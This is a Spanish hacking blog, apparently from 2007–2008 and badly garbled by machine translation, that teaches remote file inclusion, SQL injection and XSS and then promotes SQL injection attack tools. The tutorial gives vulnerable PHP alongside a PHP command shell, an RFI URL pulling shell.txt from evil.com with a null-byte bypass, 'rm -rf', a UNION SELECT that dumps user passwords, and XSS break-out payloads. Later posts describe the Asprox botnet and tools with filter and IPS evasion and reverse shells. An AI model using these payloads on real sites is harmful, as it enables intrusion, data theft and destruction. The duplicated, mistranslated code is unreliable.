=- [Cross Site Scripting]: si se trata de una vulnerabilidad permanente, donde los usuarios se guarda la entrada, el usuario puede acceder cookies, IP, y mucho más ...
=- Exploit: un script para usar maliciosamente ante una vulnerabilidad.
+------------------------------------------+
| | ¿Qué va mal | |
+------------------------------------------+
. Vamos a tomar cada vulnerabilidad, y tomar un look a lo que va mal con el desarrollador web, que ha hecho el script vulnerable ...
=- RFI::
RFI's son explotados mediante la inclusión de un codigo malicioso desde otro sitio, a los sitios vulnerables, por ejemplo, puedes incluir una PHP-Shell, y ejecutar comandos en el servidor usando ...
. esta vulnerabilidad es muy peligrosa, un sitio vulnerable se puede comprometer fácilmente ...
un ejemplo de un código infectado con un RFI:
$page = $_GET['page']; $ page = $ _GET [ 'page'];
if (isset($page)) if (isset ($ pagina))
{ (
include($page); include ($ page);
} )
?> >
como pueden ver, estamos tomando la variable de la página y, entre ellos, ahora que el script trabajo y hacer lo que está supuesto a hacer, por ejemplo:
www.example.com/index.h4x?page=contact.h4x
esto abriría contact.h4x, pero lo que un usuario malicioso hacer?
www.example.com/index.h4x?page=http://www.evil.com/shell.txt?
la extension del código debe estar en un archivo txt, porque de esta manera el código será analizada y ejecutada en el sitio vulnerable.
--- que pasa entonces?
$page = $_GET['page']; $ page = $ _GET [ 'page'];
if (isset($page)) if (isset ($ pagina))
{ (
include('http://www.evil.com/shell.txt?'); include ( "http://www.evil.com/shell.txt?");
} )
?> >
el archivo de texto que se incluyó, por lo que digamos los shell.txt tuvo el siguiente código:
$command = $_GET['cmd']; $ comando = $ _GET [ 'cmd'];
if ($command) if ($ comando)
{ (
@system($command); @ sistema ($ comando);
} )
echo " echo "
"; ";
?> >
un pequeño cuadro de texto aparecera en la página, con un botón, que ejecuta comandos ... the el usuario puede comprometer la totalidad del sitio usando este sencillo cuadro de texto, si hubiera suficientes privilegios
rm -rf rm-rf
y borrar los archivos ...
algunos desarrolladores, creen que pueden arreglar la vulnerabilidad de la siguiente manera:
$page = $_GET['page']; $ page = $ _GET [ 'page'];
$page = $page . $ page = $ página. ".php"; ". php";
if (isset($page)) if (isset ($ pagina))
{ (
include($page); include ($ page);
} )
?> >
de esta manera, sólo se puede incluir.archivos php, y que no es realmente una gran causa que PHP se analiza en el lado del servidor ...
pero, que acostumbra dejar a algunas personas, hay algo llamado NullByte, que simplemente decirle a PHP para hacer caso omiso de cualquier cosa después de que ... si alguien quería aprovechar ese código, que haría:
www.darkmindz.com/index.h4x?page=http://www.evil.com/shell.txt? www.darkmindz.com/index.h4x?page=http://www.evil.com/shell.txt? 00%
como se puede ver, el [00%] es la NullByte, que se analiza de esta manera:
$page = $_GET['page']; $ page = $ _GET [ 'page'];
$page = $page . $ page = $ página. ".php"; ". php";
if (isset($page)) if (isset ($ pagina))
{ (
include('http://www.evil.com/shell.txt?'); // ignoring anything after the NullByte, which is in this case, the .php... include ( "http://www.evil.com/shell.txt?"); / / ignorar nada después de la NullByte, que es en este caso, el. php ...
} )
?> >
por lo que la cuestión ahora es cómo garantizar por completo este sistema de URL?
así, puede usar un interruptor declarador, y de esta manera, cualquier cosa distinta de lo que ya se ha dicho, no será incluido .. por ejemplo:
if(isset($_REQUEST['page'])) if (isset ($ _REQUEST [ 'página']))
{ (
switch ($_REQUEST['page']) { switch ($ _REQUEST [ 'página']) (
case 'about': caso 'sobre':
include('about.php'); // if the page was about, get the about.php contents... include ( "about.php '); / / si la página se acerca, about.php obtener el contenido ...
break; break;
case 'contact': caso "Contacto":
include('contact.php'); // and so on :) include ( 'contact.php'); / / y así sucesivamente:)
break; break;
default: por defecto:
include('index.php'); // the default page to include, if the page variable was not found, or it was a hack attempt :) include ( 'index.php'); / / la página por defecto para incluir, si la variable de página no encontrada, o se trataba de un intento de cortar:)
break; break;
} )
} )
?> >
es un sistema perfecto, simple y seguro, y funciona:)
ahora que se hace, RFI, es como LFI, nada es diferente, pero el hecho de que sólo el LFI se encuentra en las páginas del servidor, la mayoría de las veces descargar scripts están infectados con el LFI, causa que se hacen a readfile (); sea cual sea es xD .. Solo es mal codeo xD.
Ahora NOS desplazamos a las inyecciones de SQL, esas son mortales cuando los sitios de comercio electrónico están infectadas con ellas!
un usuario malicioso podría explotar un código de inyeccion sql, para eludir un formulario de autentificación, y la tabla de mysql como admin.
o mediante la inyección de la URL para que pueda ejecutar la consulta de MySQL, lo que le permitirá acceder a información de los usuarios, y así sucesivamente ...
ejemplo de código vulnerable:
$host = "localhost"; $ host = "localhost";
$user = "root"; $ user = "root";
$pass = "r00t"; $ pass = "r00t";
$db = "banks"; $ db = "bancos";
mysql_connect($host, $user, $pass); mysql_connect ($ host, $ usuario, $ pass);
mysql_select_db($db); mysql_select_db ($ db);
$id = $_GET['id']; $ id = $ _GET [ 'id'];
if (isset($id)) if (isset ($ id))
{ (
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id"); $ consulta = mysql_query ( "SELECT * FROM` noticias `EN` `id = $ id");
if ($query) if ($ consulta)
{ (
while($news = mysql_fetch_array($query)) while ($ noticias = mysql_fetch_array ($ consulta))
{ (
echo $news['news']; echo $ noticia [ 'noticia'];
} )
} )
} )
?> >
ahora, como pueden ver, toma el 'id' variable, y la consulta, sin filtros
ahora si queres inyectar, i en primer lugar, para comprobar la vulnerabilidad ....: haciendo lo siguiente:
www.example.com/page.php?id=1 OR 2 www.example.com/page.php?id=1 O 2
elemental y explicado milesima de veces pero aveces o para los nuevos vale recalcarlo
SI 2 noticias estaba allí, entonces eres afortunado:(o sea en la tabla) D, y aquí viene la parte buena, cuando la información se extrae, mediante un comando UNIÓN, i puede seleccionar de otra columna, y el eco que allí ...
para hacer una inyección sería el siguiente:
www.example.com/page.php?id=1 OR 2 UNION SELECT name,1,password,email FROM users
ahora en función del número de filas en la columna de noticias, i tendrá que cambiar el número de filas seleccionadas ...
por lo que ahora sabremos lo que salió mal, seguro que permite inyecciones!
$host = "localhost"; $ host = "localhost";
$user = "root"; $ user = "root";
$pass = "r00t"; $ pass = "r00t";
$db = "banks"; $ db = "bancos";
@mysql_connect($host, $user, $pass); // adding the @ sign will make it error free, no errors is shown if the DB couldnt be selected or connection refused @ mysql_connect ($ host, $ usuario, $ pass); / / añadir el signo @ se hará libre de errores, los errores no se muestra si el PP podría ser seleccionado o conexión rechazada
@mysql_select_db($db); @ mysql_select_db ($ db);
$id = (Int) $_GET['id']; // now we are telling PHP that id is an Integer, do not process anything else.. $ id = (int) $ _GET [ 'id']; / / ahora estamos diciendo que PHP id es un número entero, no proceso de cualquier otra cosa .. ;) ;)
if (isset($id)) if (isset ($ id))
{ (
$query = mysql_query("SELECT * FROM `news` WHERE `id` = $id"); $ consulta = mysql_query ( "SELECT * FROM` noticias `EN` `id = $ id");
if ($query) if ($ consulta)
{ (
while($news = mysql_fetch_array($query)) while ($ noticias = mysql_fetch_array ($ consulta))
{ (
echo $news['news']; echo $ noticia [ 'noticia'];
} )
} )
} )
?> >
es decir, este código es seguro/.............. ...
====================================
ahora nos desplazamos a XSS, no es realmente un gran problema si no es algo curioso!
ejemplo de XSS sería en un libro de visitas, comentarios, formularios de contacto, listas de correo, etc ..
que puede el usuario malicioso hacer?
puede usar un javascript para cambiar el título, formas, precios, datos ocultos, las páginas, las acciones, y peor aún, acceder la página!
algunos CMS y Foros, utilizan las cookies y los usuarios almacenar la información de ellos, si ese sitio es vulnerable a XSS, el atacante puede obtenerprivilegios de administrador de la tabla de administradores en las/o con las cookies ...
un codigo vulnerable sería el siguiente:
$message = $_POST['message']; $ mensaje = $ _POST [ 'mensaje'];
if (isset($_POST['message'])) if (isset ($ _POST [ 'mensaje']))
{ (
echo "Thank you, your message has been posted!"; echo "Gracias, tu mensaje ha sido publicado!";
echo "
"; echo "
";
echo $message; echo $ mensaje;
} )
echo " echo "
"; ";
?> >
ok, por lo que ahora un usuario malicioso podría hacer lo siguiente:
presentar el siguiente texto para probar la vulnerabilidad:
alert("xss") alert ( "XSS")
or o
Nice Website! Niza sitio web
Si el HTML se analiza "y que en el presente Código", el atacante pasará ahora al siguiente paso, en la tabla de la página .. redireccionando a un logger ..
algunos métodos de saltar algunos filtros, por ejemplo, si el formulario sólo presenta enlaces, permite tomar éste como un ejemplo:
$message = $_POST['message']; $ mensaje = $ _POST [ 'mensaje'];
if (isset($_POST['message'])) if (isset ($ _POST [ 'mensaje']))
{ (
echo "Thank you, your link has been added!"; echo "Gracias, su vínculo se ha añadido!";
echo "
"; echo "
";
echo "Link";; echo " Link ";
} )
echo " echo "
"; ";
?> >
ahora que no se debe analizar nada, sino simplemente envuélvalo en un enlace derecho?
Bueno, no lo creo, simplemente puede eludir usando:
'> alert("owned") '> Alert ( "propiedad")
¿por qué que lo salta?
lo que sucede, es
'> '>
se detendrá una etiqueta y, a continuación, puede abrir cualquier otra cosa ...
aquí está el resultado:
alert("owned")'>Link alert ( "propiedad") "> Vínculo
como pueden ver, la etiqueta tiene unas > cerradas, que me permitió abrir otra etiqueta, que es un script y funciona:)
+------------------------------------------+
| | FIN | |
+------------------------------------------+
Espero que hayan disfrutado de este tutorial, y aprendido algo nuevo en el.
no mucho pero algo un poco novaton para que empiezen en algo...
Creado por Romeo
lunes, 19 de mayo de 2008
Botnet en Nueva Modalidad,Con Ataques de Inyeccion Sql wow :)
Parece bastante para instalar furtivamente y disfrazar como un servicio Windows, con bastante fiabilidad en el nombre de archivo. Es sin duda interesante ver la evolución de este tipo de malware, lo que será la próxima?
Una botnet es equipar a su ejército de computadoras comprometidas con un ataque de inyección SQL herramienta para vulnerar los sitios Web, los investigadores de SecureWorks lo han descubierto.
Según SecureWorks, Asprox la botnet, una vez utilizados exclusivamente para enviar phishing e-mails, está impulsando la herramienta a sus sistemas en red a través de un binario con el nombre de archivo msscntr32.exe. El ejecutable se instala como un servicio del sistema con el nombre de "Centro de seguridad de Microsoft de Extensión."
A pesar del nombre, el fichero es en realidad un ataque de inyección SQL herramienta que cuando se inició la búsqueda de Google. Asp páginas que contienen ciertos términos. A continuación, lanza ataques de inyección SQL contra los sitios web devuelto por la búsqueda.
La mala noticia es que no muchos vendedores de AV son la detección de que, sin embargo, parece que no es más que otra vía o vector de la infección por el Asprox malware. . Se inyecta en un IFRAME vulnerables páginas que dará lugar a la descarga de la Asprox infector.
La tormenta hizo una variación de este como se indica a través de FTP.
De acuerdo con una lista de VirusTotal, sólo un puñado de los principales anti-virus son la detección de la herramienta de ataque en este momento.
director of malware research at SecureWorks. "Esta es la primera vez que he visto una herramienta de inyección SQL, pero sin duda otros botnets han tratado de difundir de una manera similar, que infecta sitios web con iframes", dijo Joe Stewart, director de investigación de malware en SecureWorks. "Por ejemplo, la tormenta intenta obtener su contraseña en caso de que acceda a un sitio Web con FTP, y poner un iframe en la página para usted."
Hasta el momento, SecureWorks ha encontrado 1000 sitios Web infectados por esta ola de ataques SQL. Los visitantes de estos sitios Web infectados se infectan con el Asprox malware-convirtiéndolos en robots-y también descargar algunos scareware.
Parece como una escala bastante pequeña infección por el momento, pero es sin duda una tendencia preocupante. Parece que los chicos malos son definitivamente mantener el ritmo de las últimas vulnerabilidades en aplicaciones Web y en línea lenguas y que ellos están utilizando para difundir sus productos.
Es bien interesante esta botnet ya que cada vez evolucionan mas en el tipo de ataque que efectua,parece ser que es la misma variacion que la pasada,a diferencia que esta vez realiza ataques de Sql injection :) interesante......
miércoles, 2 de abril de 2008
ProxyStrike
. Ahora que dispone de herramienta para ataques de inyecion sql y asi mismo para ataques xss . . Ambos módulos están concebidos para atrapar el mayor número de vulnerabilidades que se puedan, es la razón por la que el módulo de inyección SQL Python es un puerto de la gran “SQLibf“
El proceso es muy sencillo, ProxyStrike funciona como un proxy de escucha pasiva en el puerto 8008 por defecto, así que tiene que navegar por el sitio web de configuración deseada su navegador para utilizar ProxyStrike como un proxy, y ProxyStrike analizará todos los paremeters en modo del fondo. Para el usuario es una representación pasiva porque no verá ningún diferentes en el comportamiento de la aplicación, pero en el fondo es muy activo.
\ Características:
- HTTP request/response history Petición HTTP / respuesta de la historia
- Parámetro de solicitud de las estadísticas
- Solicitud valores de los parámetros de estadísticas
- Solicitar los parámetros de URL y de la firma de campo de encabezado firma
- El uso de un suplente proxy (tor por ejemplo)
- SQL ataques
- Ataques XSS
- Exportar resultados a formato HTML o XML
- Versión de consola (proxystrike.py python-c / proxystrike.exe-c)
ProxyStrike puede descargar aquí:
ProxyStrike v1.0 (Windows)ProxyStrike v1.0 (Linux/OSX)
lunes, 9 de julio de 2007
sqlget v1.0.0 - Blind SQL Injection Herramienta Hecha en PERL
el sqlget es una herramienta oculta de inyección de SQL desarrollada en Perl, te deja conseguir esquemas de las bases de datos y tabula filas. Usando un solo GET/POST puedes tener acceso reservado a la estructura de la base de datos y con un solo GET/POST puedes descargar cada fila de la tabla a a csv-como archivo.
Las bases de datos apoyaron:
- IBM DB2
- Servidor de Microsoft SQL
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb
- Mime
- Penetrante
- Virtuoso
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2
- Mckoi
- Ingres
- MonetDB
- MaxDB
- ThinkSQL
- SQLBase
Características de la evasión:
- Codificación de ancho total/de media anchura de Unicode
- Puente no estándar del CR de Apache
- puente del mod_security
- La petición mayúscula al azar transforma
- PHP Magicquotes: codificar cada secuencia usando la función del DB CHR o similar.
- Convertir las peticiones a los valores hexadecimales
- Evitar el no-espacio que substituye para/**/o (\ t) lengüeta
- Evitar no el || o + encadenamiento usando la función del concat del DB o similar.
- Usuario-agente al azar
- Proxy server al azar
- Al azar retrasa la petición
Características comunes:
- Lista negra de la transferencia directa del schemate de la base de datos
- Ayuda del arsenal de la galleta
- Ayuda del SSL
- Ayuda del proxy server
- La información de la base de datos descargó en formato del csv
Puedes encontrar una versión parcial de programa aquí el puentear del ISS Proventia IPS de IBM:
Puedes encontrar una versión parcial del programa aquí Bypass del ISS Proventia IPS de IBM:
ISR sqlget ISS Proventia BypassPuedes descargar el programa aqui:
ISR-sqlget v.1.0.0
leer mas:here.
viernes, 22 de junio de 2007
Sqlninja 0.1.2 Lanzado Para Descarga - SQL Injection Tool Descarga
el sqlninja es una herramienta para explotar vulnerabilidades de la inyección de SQL en un uso de la tela que utilice el servidor de Microsoft SQL como su back-end. Su meta principal es proporcionar una cáscara alejada en el servidor vulnerable de lA BD, incluso en un ambiente muy hostil.
Debe ser utilizada por los probadores de la penetración a la ayuda y automatizar el proceso de asumir el control un servidor de la BD cuando se ha descubierto una vulnerabilidad de inyección de SQL. Se escribe en el Perl y funciona encendido Unix-como las cajas.
Características
- Fingerprint del servidor alejado del SQL (versión, usuario que realiza las preguntas, privilegios del usuario, disponibilidad del xp_cmdshell)
- Fuerza bruta de la contraseña del' sa'
- Privilegiar la escalada' sa' si se ha encontrado su contraseña
- Creación de un xp_cmdshell de encargo si se ha inhabilitado el original
- Upload de netcat.exe (o de cualquier otro ejecutable) que usa las peticiones solamente 100% del ASCII GET/POST, así que ninguna necesidad de conexiones del ftp
- TCP/UDP portscan del servidor del SQL de la blanco a la máquina que ataca, para encontrar un puerto que es permitido por el cortafuego de la red de la blanco y utilizarlo para una cáscara reversa
- Bindshell directo y reverso, TCP y UDP
- La pseudo-cáscara DNS-tunneled, cuando no hay puertos de TCP/UDP disponibles para una cáscara directa/reversa, solamente el servidor del DB puede resolver hostnames externos
¿Que es nuevo?
- Probar el modo, ese los cheques si la configuración está correcta y la inyección es acertada
- Eliminar errores de la opción, que permite para imprimir comandos del SQL y la petición del HTTP/datos crudos de la respuesta. Útil cuando las cosas no están trabajando y tú desear ver qué va encendido debajo de la capilla
- Los archivos uploaded hasta el %TEMP%, puente posible escriben restricciones
- Una manera simplificada de configurar los parámetros de la inyección
- Generación interactiva del archivo de los config
Puedes encontrarla, junto con una versión parcial de programa de destello de sus características, en la dirección:
martes, 5 de junio de 2007
SQLBrute es una herramienta para el Ataque de fuerza bruta que fuerza datos fuera de bases de datos usando vulnerabilidades ocultas de inyección de SQL. Apoya tipos basados y error basados del tiempo de la ejecucion en el servidor de Microsoft SQL, y la ejecucion basada error en Oracle. Se escribe en Python, utiliza multi-roscar, y no requiere bibliotecas no estándar (hay un cierto código adentro allí para el pycurl, pero es lisiado porque no se acaba).
Para el error basado la inyección de SQL, SQLBrute debe trabajar, si puedes cualquiera:
- Conseguir una diferencia identificable entre la adición de las secuencias de la ejecucion Y el 1=1 y Y el 1=2 a tu punto de la inyección de SQL (generalmente trabajos si la pregunta es normalmente válida)
- Conseguir una diferencia identificable entre la adición de las secuencias de la ejecucion O el 1=1 y O el 1=2 a tu punto de la inyección de SQL (generalmente trabajos si la pregunta es normalmente inválida)
Por el tiempo basado la inyección de SQL, SQLBrute debe trabajar si puedes utilizar el sintaxis de la ejecucion similar a; el waitfor retrasa el `0: 0: el ′ 5 para generar retraso en el servidor de Microsoft SQL.
Aquí están las opciones impresas de SQLBrute cuando lo funcionas sin opciones:
___ _____ __ ____ ____ __ __ ____ ____/ __)( _ )( ) ( _ ( _ ( )( )(_ _)( ___)__ )(_)( )(__ ) _ < ) / )(__)( )( )__) (___/(___/\(____)(____/(_)_)(______) (__) (____) Usage: ./sqlbrute.py options url
[--help|-h]
[--verbose|-v]
[--server|-d oracle|sqlserver]
[--error|-e regex]
[--threads|-s number]
[--cookie|-k string]
[--time|-n]
[--data|-p string]
[--database|-f database]
[--table|-t table]
[--column|-c column]
[--where|-w column=data]
[--header|-x header::val]puedes obtener mas info aqui:Using SQLBrute to brute force data from a blind SQL injection point
para descargarlo aqui:
sqlbrute.py
miércoles, 30 de mayo de 2007
SQLiX---->scanner de inyeccion SQL
SQLiX, hecho en el Perl, es un scaner de inyección deSQL, scanea, detecta vectores de la inyección de SQL, identifica los resultados back-end de la función call/UDF de la base de datos y del gancho agarrador (incluso ejecuta los comandos del sistema para MS-SQL). Los conceptos funcionando son diferentes que el que está usado en otros scannerss de inyección de SQL. SQLiX puede encontrar vectores normales y ocultos de inyección de SQL y no necesita invertir a ingeniero la petición original del SQL (que usa solamente llamadas de función).
SQLiX es un scanner de inyección de SQL que procura llenar el boquete entre qué software comercial disponible en el mercado puede hacer y qué se puede realmente hacer para detectar y para identificar la inyección de SQL.
Los métodos actuales de la inyección usados por el software comercial del gravamen de la tela se basan en inyecciones de la generación o de la declaración del error.
Generación del error
El método de la generación del error es absolutamente simple y se basa en caracteres del meta como apóstrofes o cotizaciones dobles. Inyectando estos caracteres en la petición original del SQL, generas un error del sintaxis que podría dar lugar a un mensaje de error del SQL exhibido en la contestación del HTTP. El punto principal con esta técnica es el hecho de que está basado solamente en la concordancia con el modelo. No hay manera de manejar idiomas múltiples o comportamientos complejos cuando el mensaje de error es filtrado por las escrituras del servidor-lado.
Inyección de la declaración
El segundo método usado es inyección de la declaración. Miremos un ejemplo:
El URL
http://target.example.com/news.php?id=25. El explorador intentará comparar el contenido del HTML de la petición original con el contenido del HTML de
http://target.example.com/news.php?id=25%20or%201=1
http://target.example.com/news.php?id=25%20or%201=0
Si no lo hace la petición (1) proporciona el mismo resultado que la petición (0) y la petición (2), el scanner concluirá que la inyección de SQL es posible. Este método trabaja muy bien, pero es muy limitado por el sintaxis de la petición original. Si la petición original contiene paréntesis, procedimientos del almacén o llamadas de función, este método trabajará raramente. Peor, si la variable es utilizada por las peticiones múltiples de SQL, todas con diversos sintaxis, no hay manera automática de haceros todo el trabajo simultáneamente.
Otra edición global referente a la inyección de SQL es el hecho de que los probadores de la pluma concluyen con frecuencia que una vulnerabilidad dada de la inyección de SQL no puede ser explotada. Concluyendo esta declaración incorrecta están invitando a sus clientes que no remienden la vulnerabilidad.
Puedes descargar aquí:
OWASP SQLiX v1.0La documentación y los ejemplos están aquí:
OWASP SQLiX ProjectDescarguenlo bien recomendado.....
martes, 29 de mayo de 2007
Priamos Ejecutor de inyecciones de sql
PRIAMOS es un inyector de gran alcance del SQL y explorador, permite que busques para vulnerabilidades de inyección de SQL y que ejecutes la inyección del código usando secuencias vulnerables para conseguir todos los datos posibles de las bases de datos, de la tabla y de la columna con el módulo de la inyección de PRIAMOS SQL.
Debes utilizar solamente PRIAMOS para probar las vulnerabilidades de la seguridad de tus propios usos de la tela por supuesto, y para no utilizarlas para la prueba a ciegas en sitios públicos.
Éste es el primer lanzamiento de PRIAMOS y contiene solamente el módulo de la base de datos del servidor del SQL.
Los muchos de trabajo fueron puestos en el GUI para hacerlo de uso fácil e intuitivo, un módulo del poder y módulo de la búsqueda de la vulnerabilidad también se construye en PRIAMOS.
Puedes ver una demostración vía el vídeo aquí:
PRIAMOS demo videoPuedes descargar la primera versión aquí:
PRIAMOS v1.0
www.priamos-project.com
Para uso Educativo Solamente :=)